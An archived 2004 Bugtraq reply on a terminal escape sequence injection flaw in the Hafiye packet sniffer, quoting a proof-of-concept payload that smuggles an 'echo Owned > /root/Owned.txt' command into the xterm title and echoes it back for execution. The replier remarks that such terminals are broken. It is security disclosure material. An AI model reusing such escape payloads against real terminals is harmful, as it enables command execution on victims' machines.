Home page logo
/

bugtraq logo Bugtraq mailing list archives

Re: Hafiye-1.0 Terminal Escape Sequence Injection Vulnerability
From: Jan Minar <jjminar () fastmail fm>
Date: Tue, 24 Aug 2004 04:33:57 +0200

On Mon, Aug 23, 2004 at 09:32:15PM +0300, Serkan Akpolat wrote:
If Hafiye has been started with -n packet count option ,
the vulnerability could allow remote code execution.
For remote code execution  the victim must press Enter after program exit.

                       "\x1b""]2;Insecure?""\x07\x0a",
                       "\x07\x07\x07\x07\x07\x07",
                       "\x1b""]2;;echo Owned > /root/Owned.txt"
                       "\x07\x1b""[21t""\x1b""]2;xterm""\x07"
                       "Abnormal Termination""\x1b"
                       "[8m;""\x0a"};

That is, with broken terminals/emulators, such as is rxvt in Debian
Woody (at the time of my writing this).  These devices/programs should
have been fixed long time ago in the first place.  (Not that (albeit
crippled) echo-back escape sequences were a good idea anyway.)

Jan.


-- 
   "To me, clowns aren't funny. In fact, they're kind of scary. I've wondered
 where this started and I think it goes back to the time I went to the circus,
                          and a clown killed my dad."

Attachment: _bin
Description:


  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]